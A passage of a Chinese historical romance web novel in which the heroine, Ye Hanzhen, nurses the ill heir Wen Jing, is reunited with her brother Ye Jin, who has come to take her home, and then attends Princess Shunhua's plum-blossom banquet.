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>那些借着汗紧贴在脸上的碎发,也被闻景轻轻撩至耳后,又仔细用拧好的热帕子擦过,被屋里的热气一烘,才不至于粘腻发紧。
她想起方才在两人缠绵时,自己唇边溢出的求饶声,和床帐里交错的喘息声,逼得叶含珍卷着被子捂着脑袋,转过身子。
咬着唇边的手背,叶含珍几乎不敢相信方才自己会在闻景的身下,发出如此不堪入耳的声响。
虽是被逼的,但她无法原谅自己被闻景逼诱,躺在床上泪眼朦胧得叫出“斓清”二字。
而身上人在听见她唇边的妥协时,越发放纵肆意,几乎要将她生吞活剥去。
怎么、怎么会这样呢?叶含珍死死压制喉间的呜咽,急急喘着气。
不!
这是闻景逼她的,不是她自愿的!
而闻景也懒怠再让人重新送水进来,只用盆里剩下的水,胡乱擦了擦自己,便贴着叶含珍的后颈,沉沉睡去。
内室只留了一盏昏暗的灯烛,帐子里还残留着先前情热的气息。
床上的两人便就这么安安静静得歇下,直到叶含珍被身侧人的呓语吵醒时,桌上那火烛早不知在何时就熄灭了。
只有蜡泪顺着烛台凝住。
“珍珍……珍珍!”
听着闻景沙哑的声音,叶含珍此时还不觉有何异常,只觉着此刻紧贴在自己背脊上的温度,比以往更加烫人。
她转头望向身后的枕边人,借着从窗缝里透来的一点光,才看见闻景额间全是细密的汗珠。
用手背在他额头处一贴,一片火热滚烫惊得她忍不住缩回手,只是烧得有些迷糊的闻景动作更快,一把就截住想要离开自己额间的冰凉。
叶含珍盖着被子哪里会冷?
是闻景发了烧。
“白枝!白枝!”
她记得今夜在外间值守的人是白枝,便大声呼喊起来。
“奴婢在。”
很快,白枝便端着一盏灯绕过了屏风,朝床榻的方向走来,“小姐有何事要吩咐?”
叶含珍彻底挣开闻景的手,起身拉起床帐道:“快去请大夫,闻景好像发热了。”
听得闻景发热的消息,白枝当下也是一怔,顷刻间睡意全消,举着手里的灯烛点亮了整个屋内的火烛。
叶含珍此刻也才看清他的嘴角已经烧得起了干裂,身上裹紧了被子,却一直不停地发着抖。
“奴婢这就去唤人来!”
白枝慌慌张张得往外间走,不一会,其他还在睡梦中的丫头们都已经闻声赶到正房伺候。
玉泉领着大夫行至床榻前时,叶含珍也穿戴好衣物,正用打湿的帕子盖在闻景额间。
这是她前些时候伤寒时,闻景这么替她做的。
如今,也算是派上用处了。
大夫替闻景细细把过脉,才道是受了风寒。
“还请大夫开些退热的药来吧,这么烧下去,怕是不好。”玉泉担心道。
“那是自然,”大夫收拾好脉枕,郑重道,“老夫这就去写个方子,还请统领早些安排人去抓药煎好,喂给世子爷。”
“您这边请。”
玉泉带了大夫出了内室。
叶含珍不停地给闻景换着额间的帕子,白枝等几个丫头也识趣得没有上前帮忙,只忙着安排人去催药催饭食。
冬天的朝阳升得晚,直到叶含珍给闻景喂完第二道汤药时,才徐徐从东边厚重的云层里跳出来。
27. 帖子
昨夜的大雪压弯了院子枯枝,有几支承受不住重量,甚至还发出令人闻之牙酸的断裂声。
好在今日的天气不错,渐渐洒满大地的阳光渐渐让梅花瓣上的雪化开,就着低寒,倒给娇蕊镶上一层晶莹剔透的玻璃,闪耀着五彩辉色。
而昨日闻景在院子里堆的雪人帽子上,也积了厚厚一层冰雪。
闻景喝过药,额间的热度虽未彻底退去,但已经不再说胡话了。
叶含珍自寅时初被闻景吵醒后,便一直未曾阖眼。此刻见人已经安睡在枕间,也不像方才那样滚烫得让人害怕,便开始打起哈欠来。
“小姐累了吧?”
青渚关切道,“不如去炕上歇会,待主子醒了,奴婢们再请小姐来看主子。”
闻景虽病了,但她们不敢对叶含珍有丝毫怠慢,甚至更怕叶含珍也随着主子病倒。
叶含珍眼里闪着泪花,摇头道:“不用了,我只不过是打个呵欠,醒醒神而已,不怎么累。”
她能做的也只有给闻景换换帕子,喂喂药。
青渚见她不肯去歇着,也不好再勉强,只提醒道:“小姐忙了许久,一点水米未沾,不如我让人将早膳端到暖阁里来吧?”
“好。”
叶含珍先前只顾着给闻景喂药,倒忘了自己还空着肚子。经青渚这么一提,她才觉着腹中空空,喉间也干渴的紧。
就当是还他先前照顾自己生病时的情分了。
待她离开后,便再也不来这里。
再也,不见他。
叶含珍甩掉脑子里的胡思乱想,低头专用起热腾腾的早膳来。
今日厨房备下的膳食与往常差不多,只是叶含珍胃口却好了不少,不仅喝了一碗甜粥,用了几块点心,最后还让雪青替她盛了碗银耳羹。
她吃饱喝足后,才去看在床上昏睡的闻景。
此时闻景面上的潮红已经褪下,只是嘴唇干裂,让人看着有些不忍心。
叶含珍倒了一杯温水,拿着勺子蘸着水往他唇上抹去,闻景虽未睁眼,倒也顺从得咽下唇缝渗入口中的温水。
就这样,她给闻景喂了整整一碗温水,那因高热而烧得龟裂的薄唇,才有了些水泽。
“世子爷醒了就起来用点东西吧,”叶含珍将空杯与勺子一齐递给一旁侍立的白枝手里,又将帕子扔在闻景脸上,“你要是再不醒,我就让人送你回国公府养病。”
闻景见自己已经被她毫不留情得拆穿,眼皮下的珠子滚了滚,随即一手抓着面上的帕子擦了擦唇角的水痕,戏谑道:“你前日生病时,我可是尽心尽力得照顾你,直到你痊愈为止,怎么我这会子病了,你就给喂了两碗药和一杯水,就不耐烦了?”
白枝虚心,端着托盘就朝外走。
其实,方才叶含珍还未用完早膳时,守在床边的她就已经看见了主子醒了,只是见他摇头,便知他不想这么快让别人发觉,只好随主子去。
只是,没想到叶小姐这么快就识破了主子。
叶含珍见闻景说完话便慢慢坐起身子,靠在靠枕上朝她笑,便知他已经没有大碍。只是想起方才自己还给他喂了一整杯水,白皙的面皮上腾地一下烧起来。
闻景此时虽还有些头昏脑胀,浑身乏软,但一双眼睛却亮得惊人。
他虚弱得靠在靠枕上,瞧着叶含珍面上渐渐浮现的绯色,嘴角微扬:“多谢小姐悉心照料,待在下的身子好全了,定然重重酬谢。”
“不用,”叶含珍侧过头,不去望那张笑得张扬的俊脸,低声道,“你也照顾过我,况且你此番生病,也有我的不是。”
她不该在他替她堆完雪人后,只顾着与他争执。
闻景是习武之人,又是征战沙场的将领,不是世家里的草包子弟。若不是昨日淋了雪后,没有及时增换衣物,想来也不会受这场罪。
至于为何会没有及时换下被雪水浸湿的锦袍,她也不想再提。
闻景一醒来时,便知是叶含珍给他喂的药,方才她又给自己喂了水,心里哪里还在乎昨日两人的龃龉?
只目不转睛望着叶含珍的侧脸和小巧可爱的耳朵,大笑道:“随便你怎么说,反正你现下是我的救命恩人,我都听你的。”
救命恩人?
叶含珍听到闻景说她是他的救命恩人,转头道:“我没救你,救你的是大夫,你要谢就去谢他,不必扯上我。”
闻景是郑国公府的世子,又是皇帝面前的红人,他若是在这里出了事,只怕这里的所有人都走不出去这宅子。
与其说是救他,不如说只是想保住性命罢了。
“好吧,大夫那边自然会有人去酬谢,而我嘛,就要谢谢叶小姐替我唤人来,还给我喂药擦汗。虽然你只说是因着我前些时候也照顾你许多,才做这些事,但我心里却开心的紧,只恨不能立即给你摘个月亮来。”
叶含珍见闻景眼下生着病,性情倒是比之前好不少,也不好冷着脸,只漠然道:“月亮倒是不必了,若是世子爷能尽快送我去哥哥那里,我就感激不尽了。”
“原来你求的是这事?”
闻景往后一仰,弯着唇角道:“这事好办!我这会有些饿了,若是你再亲手给我喂一碗粥,那我明日便派人再去打听打听叶劲何时到京城,如何?”
这要求并不过分,只是叶含珍见闻景神情愉悦的很,心里不免有些打鼓,他今日怎么这么好说话?
先前只要一提及此事,他必定阴阳怪气一番,如今却笑得让人觉得后背发凉。
管他的,先哄着他去打听哥哥进京的消息再说。
叶含珍起身去外间和丫头嘱咐了几句,便仍回床畔坐着。
半盏茶后,白枝和青莲抬着矮几放在了床前,身后的白枝便将手上托盘里的吃食,一一摆好。
闻景扫了一眼,全是些清粥小菜和一些软和点心。
叶含珍净了手,端起一碗鸡茸粥道:“你还在喝药,不宜食大鱼大肉,吃些鸡茸粥吧。”
说着便小心翼翼舀起一勺粥,在唇边吹了吹,才递到闻景唇前。只见闻景咧着笑,一口就吃下了勺子里的
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粥。
伺候在一旁的几个丫头皆不敢随意抬头张望,只默默等主子用完了早膳,便手脚利索得收拾了。
“这粥滋味不错,”闻景徐徐擦着嘴角,眼神全是满满情意,“若是天天能被你这样小心照顾着,我宁愿一辈子就在床上躺着。”
叶含珍拿手绢擦了擦手,头也不抬道:“想来京里有的是贵女愿意如此照顾世子,也不必非要是我,世子想一辈子在床上躺着,不是什么难事。”
“不是你,我不要。”
“那世子以后还是不要生病了。”
叶含珍擦干净手指,抬头朝闻景凉凉道:“我可不想一辈子伺候你。”
她还要回家。
闻景正欲开口说自己可以伺候她一辈子时,却被屋外丫头们的声音打断。
“给郡主娘娘请安。”
只听外间传来她们请安声响,闻景顿时便敛下了嘴角的笑意。
舜华郡主带着贴身侍女绕过屏风,转眼便看见了内室里的二人。
“见过郡主。”
叶含珍起身行礼道。
舜华郡主哪里顾得上叶含珍,只随意挥了挥手,便急急朝床榻前走去。
见闻景已经能起身靠在枕上,不由焦急道:“听说你病了,现下可是好了?”
“回阿娘,儿子没事,只不过是下人们怕母亲责怪,才将动静闹得大了些,”闻景朝舜华郡主耸耸肩,散漫道,“您瞧,我好好的呢,并没有什么事,阿娘不要担心了。”
叶含珍见舜华郡主带着人进来,早识趣得起了身,只在床尾站着。
舜华郡主看着儿子还有精神劝自己,忍不住擦了擦眼泪,哽咽道:“你身子一向强健,怎么就突然风寒呢?要不是我今日过来时,见宅子里的下人神色不对,我还不知道你竟然生病了!”
她说完这话,只抬头瞟了一眼叶含珍,便继续道:“放心吧,阿娘今日来,不是来找她麻烦的。只是再过几日就是梅花宴,我不放心下人办事,便亲自来送帖子。”
送帖子?
给谁?
她想了半天,也只能想到舜华郡主口中的帖子,应该是给她的。
只是,她那日如此顶撞舜华郡主,为何舜华郡主还要亲自上门给她下帖子?
叶含珍狐疑得望着闻景,却只听闻景道:“多谢阿娘!”
闻景也同意自己去什么梅花宴?
闻景说完,只朝叶含珍安抚一笑,继续朝舜华郡主道:“只是这天冷得紧,就算坐着马车,路也不好走,阿娘有事吩咐下人就行了,何必亲自跑一趟?”
舜华郡主见两人在她面前,眉来眼去得,甩了甩方才擦泪的手帕,赌气道:“你这么久没有回府瞧阿娘一眼,难道也不许阿娘来瞧瞧你这个不孝子吗?难不成,你还在气阿娘上次在宝光寺的事不成?”
“差不多也得了,我那时虽被她气狠了,让人伤了她,但你不也是替她报仇了吗?”
两个侍女还好,已经恢复得能下地了,只是李嬷嬷到现在还吊着胳膊呢!
28. 你答应过我的
闻景垂眉想起那日他吩咐玉风的话,只悻悻道:“儿子不敢气阿娘,只是如今太子与沈俞风正斗法呢,儿子只是想图个清静,便住在这里久了些。”
舜华郡主听他提及朝堂之事,也不好再往深里说,只按按发红的眼角道:“朝中的事,阿娘没法子帮你,只是却不知你病了。若是过两日再不好,便还是回府里养着吧。”
先前闻景被皇帝怀疑的风声,还是吹到了舜华郡主耳中,只是见闻景很快洗脱了嫌疑,她才能耐心等到今日才来梨花巷。
却不料,撞见了慌慌张张给她请安大夫。
一问之下,才知闻景受了风寒,便火急火燎得往正房里赶。
“儿子今日生病时,还是她替儿子叫的大夫呢,回府嘛,下人虽多,但终不及身边人照顾的好。“
闻景拍了拍舜华郡主叠放在膝头的手,“我在这里养病挺好的,免得回去了传染给阿娘和弟弟妹妹们。”
知他如今定是乐不思蜀,不愿回去,舜华郡主也只得随他,于是也不再提让闻景回国公府养病的话,只沉着目光朝叶含珍所在的位置望去。
“叶小姐,阿景说是你替他喊的大夫?那你可知他到底是为何受寒的吗?”
叶含珍蓦然抬眼,对上舜华郡主沉沉的目光,垂在身侧的双手默默抓紧了衣袖。
叶含珍话音有些发虚道:“世子受凉是因为——”
“是我不好,非要闹腾她,又用了温水净身,想来就是这样受了凉,阿娘别再问她了!”
舜华郡主见闻景如此维护眼前女子,当即一声冷笑:“我方才进院子里时,便见院里立着一个雪人。怎么,阿景你还想蒙娘不成?”
这种幼稚的游戏,闻景八岁时就不玩了。
能让她儿子在大雪里堆雪人的人,除了眼前的神色愤愤的叶含珍,她实在想不出第二个人来。
“是下人们为讨巧堆的。”
叶含珍听得眼前这母子两的一唱一和,手上只暗自用力将指尖掐在手心,好似这样就能遏制住心尖涌起的阵阵刺痛。
只是这刺痛极厉害,折磨得她有些喘不过气,只短短数息,眼前的视线便开始变得模糊起来。
闻景有阿娘,她叶含珍也有疼她爱她的娘亲。
明明造成如今局面的是闻景,为什么没有人去责怪闻景?
就因为她是被父亲送给闻景的礼物吗?
舜华郡主倒是不关心叶含珍如何,只朝闻景道:“你要维护她就维护吧,只别失了分寸就行。”
“启禀世子爷,门外有人递了名帖,说他是大理寺左寺,前来拜会世子爷。”
玉风跪在屏风外,双手奉着一张名帖,朝里间高声道。
“去,将帖子拿进来。”
白枝听完闻景的吩咐,当即就屈了屈膝朝外间走去。
待闻景扫完手里的名帖后,才将帖子扔在地上,冷声道:“告诉他,爷这会不见他,让他滚。”
“大理寺的左寺?”
舜华郡主有些迟疑得瞧着面色骤然变冷的闻景,担心道,“你虽在病重,但既然是大理寺的官员来见你,想必定然有要事,你何必如此动怒呢?”
闻景想起那名帖上的内容,不由闭眼道:“他来不是为了公事。”
“那是为了什么?”舜华郡主不解道。
那帖子被扔到叶含珍脚边,她只瞟了一眼散开的名帖,整个人便如雷击一般瞪大了双眼,倏忽跪坐在捡起那张名帖,看了一遍又一遍,又哭又笑道:“是我哥哥来了是不是?”
闻景没想到自己随手一扔的帖子竟然会被叶含珍瞧见里面,当即直起身子道:“不是!只是巧合而已!他不是你哥哥!”
“骗子!闻景你这个骗子!”
天下间哪有这么巧的事?
能巧到正好有个和她哥哥同名同姓的官员,来拜访闻景?
一定是她哥哥!
叶含珍抱着手里的名帖呜咽道:“求你,求你让我见见他吧!闻景,你答应过我的!”
她急急朝床前膝行几步,差点被裙子绊倒,只慌乱中一手撑在冰凉的地板上,才没扑倒在地。
舜华郡主叶含珍神情如此激动,又见方才神色还和缓的儿子蓦然发怒起来,便也猜到了这位寻到梨花巷,来找闻景的大理寺左寺,便是叶含珍口中的哥哥。
“阿景,若真的是叶小姐的哥哥,你又何必如此拒人于千里之外?大家以后总要见面的,今日不见,明日也是要见的,还不如好好请进来,我也趁此机会见见叶家的其他人。”
闻景一时语塞,他知道叶劲见他的目的。他不想见他。
至少,不是今日。
只是望着仍匍匐在地上苦苦哀求的叶含珍,闻景想起了方才她给自己喂粥时的恬静模样,不免还是硬不下心肠。
“去请他进来吧。”
玉风领命而去。
叶含珍则在闻景发话后,止住了哭声,目光紧紧朝屏风外望去。
白枝得了闻景的眼色,慢慢扶着叶含珍从地板上站起来。
不多时,外间便响起一阵杂乱的脚步声。
叶劲被人一路请进了正房,而后又绕过一扇八幅琉璃屏风,才看见一屋子乌泱泱的人。
他一眼就看见满面泪痕的叶含珍,也正朝自己望来。
鼻间传来若有若无的药味,叶劲的心猛然紧缩一下。
是她生病了吗?
叶含珍待看清来人后,便挣开白枝的搀扶,踉踉跄跄得奔向那抹高瘦的身影。
“哥哥!”
“珍珍!”
叶含珍抱着叶劲的手臂,声声哭泣道:“哥哥,哥哥,你终于来了!”
叶劲虽也激动万分,但他没有忘记今日来的目的。
他神色难掩激动,只牵着叶含珍往身后一拉,掀起袍角单膝跪下道:“下官大理寺左寺叶劲拜见舜华郡主,拜见闻世子。”
“哦,你就是前不久上任的大理寺左寺叶劲?”
叶劲拱手道:“回舜华郡主,正是下官。”
闻景见叶含珍见了叶劲宛若归笼的小鸟,一股嫉意倏然涌上头顶。
也就是顾忌着他娘在这里,不然今日他是定不会让叶劲踏入这宅子一步的!
“起来吧,”舜华郡主虽不喜叶含珍的牙尖嘴利,但见这叶劲年纪轻轻就已经是大理寺的左寺,人又生得高大清俊,不免对他高看几分,“你今日来的不巧,世子爷病了,让你久等了。只是不知叶左寺来寻世子有何要事?还请叶左寺直言。”
叶劲见闻景铁青着脸色,靠在床上一言不发,视线越过自己,往他身后望去,便只朝舜华
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郡主拱手道:“回郡主,下官今日来是为着下官的妹妹。”
“先前承蒙世子爷的照顾,将小妹带至京里寻医问药,如今叶家已经举家搬至京里,若是再在世子爷这里打扰,只怕是会让人非议。”
叶劲来时就想好了说辞,他抬头望向神色愈发青黑的闻景,徐徐道:“下官受父母之命,特来接小妹归家,下官特地准备了各色谢礼,还望郡主和世子爷不嫌简陋。”
叶含珍听到叶劲说叶家已经举家搬至京城,他又是受爹娘之命前来接自己离开,当即便向床上的闻景看去。
他会同意自己离开吗?
叶含珍有些期许,只是更多的则是害怕。她忘不了自己被闻景关在青鹤楼时,叶劲来寻自己的惨状。
叶含珍害怕得抓紧了身侧的外裳,黑鸦鸦的眼睫不自主得抖动起来。
舜华郡主见自己儿子听了叶劲半晌话,眼神却只朝叶劲身后的女子看去,不免暗暗有些无语。
京里这么多贵女任他选,非要逮着眼前这个不情愿的捏住手里。
她可忘不了那日在宝光寺里,叶含珍求去的倔强神情。
“你要走吗?”
“珍珍,我如今生了病,你这就要撇下我离开吗?”
闻景的声音宛如魔咒,一下一下敲打着叶含珍的耳膜。
“多谢闻世子这几日的照顾,既然世子要养病,那我就更不好打扰了,还请世子派人送我和哥哥出府。”
叶含珍嘴上说得轻巧,藏在衣袖下的手指却发着颤。
她不知道闻景此刻的神色,更不敢抬眼去望,只凭着一股陡然而生的勇气,不紧不慢得说完这句话。
只是这话一落音,便听见床榻方向传来的响动。
叶含珍听闻响动,还未来得及抬头去看,她的手腕就落在赤脚下床而来的闻景手里。
闻景:“不是方才还说要报答我前两次照顾你的恩情吗?怎么这会就急不可待得随他离开?”
“我已经谢过世子的恩情,不欠世子什么。”
舜华郡主见闻景生着病,还赤足站在地上,不得不开口道:“叶小姐离家多日,想来也是想念亲人了,阿景你身子未愈,还是回床上歇着吧,至于叶小姐回家之事,我倒觉得没有什么不妥。”
“闻世子!你放开含珍!”
闻景侧头朝怒气冲天的叶劲道:“她要离开也不是不行,只是得由我说了。你也听见我阿娘说什么了,我身子未愈,身边缺个伺候的人,叶小姐在我这宅子住了这么久,也最清楚该如何照顾人,不如等我过几日身子好些了,便亲自送她回你们叶府,如何?”
叶劲如何不知这只是闻景的推脱之言,只是今日正巧有舜华郡主在场,她是闻景的母亲,是不会容许闻景胡来的。
这是他带人离开的好机会,错过了今日,难免闻景会不认账。
叶含珍听完闻景的话,垂眼看着踩在地板上的那双赤足,便知今日闻景是决绝不肯放人的。
舜华郡主是他亲娘,她始终只会向着闻景说话,并不在意闻景会做什么伤天害理之事。
与其将哥哥和自己置于危险之地,不如等闻景身子好了,再让哥哥接她回家。
叶含珍想通了这些,竭力按捺着内心想要即刻逃离的急迫,咬唇道:“闻世子说话可算数?”
29. 不必
“五日,”闻景信誓旦旦道,“五日之后,我便亲自送你回叶府,决不食言。”
舜华郡主简直听不下去自己儿子昏头之言,只坐在一旁的椅子上,默默喝着茶水。
叶劲却有些质疑道:“妹妹你——”
“哥哥放心吧,”叶含珍勉强朝满面焦色的叶劲笑着道,“世子既然说了五日,便是五日,我相信他不会骗我的。”
她口中说着闻景不会骗她,只是心里却如明镜一般。
闻景一直都在骗她。
哪怕就是舜华郡主来之前,他还千方百计哄着着自己,说要派人去打听哥哥的消息。
只是哥哥已经是大理寺的左寺,闻景怎么可能不知?
闻景既然今日能当着舜华郡主的面立誓,她相信他不敢再哄她。
闻景没想到叶含珍竟说出如此信任他的话,只愣愣望着眼前泪眼未干的女子,任凭心尖上那股酸麻热胀,滑过喉间。
舜华郡主看完了戏,将手里的茶盏稳稳放在案几,抿嘴笑道:“这就对了!叶小姐既然愿意再留五日,叶大人又何必急于这一时?五日后是我在菱花庄举办梅花宴的日子,不如等叶小姐散席之后再回家?“
她说得极为恳切,神情模样不像是在哄人。
叶劲只盯着眼前已经不复娇憨天真的妹妹,见她拼命得朝自己眨眼睛,涩声道:“那就多谢舜华郡主了,我今日回去便与父亲母亲说,妹妹参加完郡主的花宴便会归家。”
“好了好了!”
舜华郡主看着闻景踩在地上的脚都觉着身子发冷,连忙道:“阿景,快回床上去躺着吧。”
“多谢母亲!”
闻景得了叶含珍的话,又听得叶劲的退步,牵着叶含珍的手便往床榻方向走去。
他自己上了床,仍像先前那般倚靠在弹墨夹花的靠枕上,让叶含珍侧身坐在床畔处,不让人离开。
闹了这半天,天色也有些暗沉起来。
听着屋外呜咽肆虐的朔风,整个屋子沉静了半晌,才响起舜华郡主捂着嘴打哈欠的声音。
“唉,人老了,不中用了!”
她用帕子擦了擦方才哈欠时眼角冒出的泪花,起身道:“叶小姐的帖子,我进屋前就给了丫头。如今天色不早了,我就先回国公府了。”
闻景听闻舜华郡主要走,撑着手便要起身相送,却被舜华郡主出言拦道:“好好歇着吧,别瞎折腾了。”
说完她又转头道:“叶大人,不如一起走吧。”
叶劲听出她赶人的意思,便知今日自己是无论如何也带不走妹妹,抬头朝床榻处的两人望了一眼,才徐徐拱手道:“郡主先请。”
待满屋子的人走得只剩在这宅子里伺候的人时,青渚又端着闻景的汤药进了内室。
托盘里的漆黑药汁面上,腾起袅袅热气。
叶含珍却像是失了魂,只垂头出神。
她的人在,但是心已经随叶劲飞走了,只留下一具没有灵魂的躯壳。
“给我吧。”
闻景不愿去细想,抬手去接药碗,却被一只纤细柔嫩的手抢先接走。
叶含珍吹了吹满是苦涩气息的药汁,才舀起一勺递在闻景有些干燥的唇边,“请世子爷喝药。”
她爹为了免罪,将她送至闻景的榻上,她如今已经清了债。
前段时间她生病时,闻景悉心照料着她,那她也要还清。
就五天,她就可以离开这里了。
五天过得很快的。
叶含珍暗暗给自己鼓着劲,小心翼翼地给闻景喂着药。
闻景受宠若惊得喝完叶含珍喂来的每一勺,看得几位伺候在跟前的丫头们,都悄悄红了面颊。
漱完口后,闻景将手里擦过嘴角的帕子递给白枝,温声道:“你也累了吧?不如让人去炕上替你铺床,你也歇一会。”
“不用,我不累,”叶含珍拒绝闻景的提议,抿唇道:“多谢你帮我父亲。”
闻景听她忽说这些谢言,眼角倏然有些陌生的热胀,逼得他只能深吸了一口气,才堪堪将那股热意压下去。
“你我之间,不必言谢,”他想要的不是这些,“明日会有人将你去花宴上的穿戴之物送来,你看看喜不喜欢,若有什么不和心意的地方,尽管说,我让她们去改。”
她几日后就会离开,闻景却还记挂着她去梅花宴的事,一时间,叶含珍竟有些说不上来的滋味。
眼前这个男人,好像和从前的他,有些不一样。
至于是哪里不一样,叶含珍说不出来。只觉着,如今的他,让她觉着陌生。
“多谢。”
闻景却咽了咽喉间涌上的酸涩,移开黏在她发间的视线,轻声道:“珍珍,我想要的不是这个。”
“我知我从前做错了许多事,可是覆水难收,我只能慢慢去改,希望我们能重新开始。”
不必了,也不需要了。
她要的也不是这些。
叶含珍抓紧了手下的床褥,低声呜咽道:“你睡会吧,晚膳时我再唤你。”
说完便起身直直朝屏风走去,只给闻景留下一个落荒而逃的背影。
等到叶含珍晚间要上床歇息时,闻景却让人去炕上给她铺床,并不让她和自己一起睡。
闻景瞧见叶含珍不解的模样,只冲着露出一个狡黠的笑容:“等我风寒好了,你再来床上睡。”
原来是担心过了病气给自己。
叶含珍点点头,很快就在丫头铺好的床褥上,沉沉睡去。
闻景白日里睡得多,晚间就走了困。
他是习武之人,耳聪目明,静静听着房里炭盆里时不时传来的细小爆裂声和滴壶规律的滴水声,只觉越发睡不着。
只好悄悄起身,披着大氅举着灯火,站在炕边,贪婪得凝视着她沉静的睡颜。
也许是闻景难得有生病的时候,他这副风寒未愈的脆弱模样,倒哄着叶含珍这几日精心照料着他。
送来的衣物首饰,闻景不停地挑着不满意的地方,让下人拿去改。
倒比叶含珍还在意。
五日时间说快不快,说慢,也到了眼前。
今日按照闻景的承诺,待梅花宴散去,叶含珍便可回叶府。
一早天不亮时,青渚就领着小丫头在房间里掌了灯,继而又小心伺候起要上朝的闻景。
直到闻景用过漱口的温茶,叶含珍才艰难得睁开朦胧睡眼。
她拢着被褥往颈间送去,轻呼出一口气。
身上传来的酸痛渐渐唤醒意识还混沌的大脑。
也许是最后一日,她竟被闻景半哄半迫着如他所愿。只是没想到后面便一发不可收拾,直闹到夜半时分,闻景才唤了人送热水进来。
叶含珍仰面望着头顶翠蓝金枝七宝帐子,专心思索着自己以后的去路。冷不防间,被闻景的俊脸挡住了视线。
“醒了?再睡会,我让青渚给厨房说了,让他们温着早膳,你记得吃。等吃完早膳再出发。”
“好。”
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“披风要穿那件雪狐绒的,手炉也要带上。”
“好。”
“你的丫头已经回了叶府,今日还是让白枝和青渚陪你去吧,她们更熟悉京城的宴席。”
叶含珍听完闻景的再三唠叨,终是忍不住皱起秀眉:“你还上不上朝?”
眼下天都要亮了,他怎么还在这里絮絮叨叨?
闻景见她不耐烦的模样,捏了捏她滑腻的粉颊,笑道:“那我今日不去了,陪你去梅花宴可好?”
叶含珍瞬间打了个激灵,生怕闻景陪她去梅花宴,急急道:“你说的我都会照做,你快走吧!”
闻景忽俯身而下,指了指自己的唇瓣,默不作声,只直勾勾望着叶含珍。
叶含珍无法,只好闭着眼睛在他薄唇上落下一吻后,就将胸口处的被子提起来,遮住了脸。
闻景得偿所愿,满意得直起身子,径直出了房门。
他走后,叶含珍也彻底失了困意。白枝带着几个小丫头伺候着她起身,青渚则去命人套好马车。
等到叶含珍按照闻景的话,披上雪狐绒制成的披风登上朱盖华幄的马车时,外间的大雪也渐渐变得稀落。
菱花庄就在城东。
叶含珍抱着手炉,倚在车壁,不知在想什么。
约莫行了快一个时辰,马车才稳稳停下。听着外面马夫喝住马儿,摆好脚踏的动静,白枝和青渚扶了她下车。
“这位是?”
因是舜华郡主的宴席,今日负责迎客的是她身边积年的几个嬷嬷。
秦嬷嬷接过白枝递上的帖子后,脸上疑惑的神情瞬间变换了神色,当即躬身行礼道:“叶小姐这边请。”
叶含珍这还是来京城这么久,第一次参加宴席。
只见门口处马车络绎不绝来往着,各家女眷携着家里的小辈,被舜华郡主的人迎进庄子里。
她则带着白枝和青渚,跟着走在斜前方的秦嬷嬷,徐徐朝庄子里行去。
庄子里院子地上,除去供人行走的石径,皆覆着白雪。
虬结的梅干上,散乱着万千梅朵,早间下的雪,根本掩饰不住那泼泼洒洒的艳丽,连花苞也点缀着色若白玉的落雪。
好似艳丽多情的美人面上,点了玉色夺目的花钿,让人根本移不开眼。
想来这庄子建得时间不短,很多梅树都是老树。只见梅树的枝桠干枯曲折,衬得点点梅蕊越发娇弱夺目。
最妙的是,庄子里还有池塘。
朔风拂过枝桠,满树的梅花便朝清浅的池塘里洒下一片片落红,那池塘里也尽数倒映着梅枝清雅傲骨的身姿。
叶含珍一路饱览着庄中美景,一路随着引路嬷嬷朝宴会所在的大堂走去。
打帘的丫头很是机警,见秦嬷嬷带着人来了,手脚利索得掀开厚厚的帘子,躬身请人入内。
叶含珍踏入大堂时,被满屋的珠光宝气差点晃花了眼。
只见舜华郡主与一簪着红翡滴珠凤头金步摇的绝色妇人正说笑着,地上两侧则摆着一溜酸枝玫瑰椅子。
这上面坐着些华衣贵妇们,在她们身后则零零散散坐着未盘发的贵女。
除了这些人,四下还有不少妙龄女子正三三五五的围在银丝火罩旁低语着,时不时发出娇怯的笑声。
想来这些都是京城里贵眷们,带着家中的小辈一起来赴这花宴。
抬眼环视一圈,叶含珍只认识坐在高位的舜华郡主。
“启禀郡主,贵妃娘娘,临州刺史府的叶小姐到了。”
30. 梅花宴(一)
叶含珍将解下的披风递与青渚,便随着秦嬷嬷的脚步浅行几步,福身道:“小女临州叶氏,拜见舜华郡主。”
舜华郡主听见声音,止了与柳贵妃的话头,只指着行礼的叶含珍道:“贵妃娘娘,这便是临州刺史叶家的小姐。”
她声音倒是轻柔,只是这一句一出,整个大堂的说话声倏然弱了下来。
不用抬头,叶含珍也知道此刻自己身上聚满了打量的目光。
柳贵妃闻言转过头,瞧见仍未起身的叶含珍道:“好清秀的姑娘,年岁几何了?”
“叶小姐,贵妃娘娘问你话呢。”
叶含珍听闻舜华郡主的话,便又朝柳贵妃的方向盈盈一拜,轻声道:“回贵妃娘娘,小女今年十七。”
“好好好,快起身吧,”柳贵妃见人倒比想象中沉稳的多,笑道,“方才郡主说她今日请了新客来,想来就是你了吧?”
随即又拉着叶含珍的手,赞道:“不愧是南方出身的贵女,倒是个温温柔柔的稳重性子,我很喜欢。哪像我那两个公主,整天毛手毛脚的?”
叶含珍似害羞状低下了眉眼,谦虚道:“贵妃谬赞了,七公主和十一公主身份贵重,是天皇贵胄,不是小女这般俗色可比的。”
舜华郡主见柳贵妃对叶含珍喜欢得紧,瞟了她一眼道:“今日风雪大,各处都有暖盆,叶小姐先去暖暖身子,待会待人齐了,就开席了。”
柳贵妃:“还是郡主贴心,叶小姐先去喝杯热茶吧。”说完缓缓松开了叶含珍的手。
叶含珍退后两步,捏紧手里的手绢,朝二人行礼道:“多谢贵妃,郡主美意。”
说完,便又福了福身子,才转头离开两人的视线。
只是叶含珍今次是第一次在京中贵眷面前露脸,又得柳贵妃的赞赏,旁边陪坐的各家妇人们,也不免暗暗打量起她。
就连散落在大堂各处年轻贵女们的说笑声,也小了不少。
毕竟是生面孔,又生得极美,如何能不打眼?
只是听见舜华郡主说她是临州刺史府的小姐,便放下了心。
谁不知道宫里前几日就传出了几位皇子要选正妃的消息,叶含珍的身份太低,这便让不少有盘算的女眷放下了心。
叶含珍见屋子人众多,也没个认识的人,只好带着白枝和青渚坐在暖盆旁,驱驱寒意。
“小姐请用茶。”
“多谢。”
叶含珍接过丫头托盘呈上的热茶,轻声道谢。玉手掀开茶盖,一股茶香便被热气裹挟着扑向鼻尖。
暗赞道好香。
叶含珍见手里的茶水清冽,还有几根舒展的茶叶在盏中浮浮沉沉,觉得颇有趣。
白枝说过,时下京中的贵人,都喜在茶盏里留些叶片,这样便可以赏玩茶叶浮在茶水里的优美姿态。
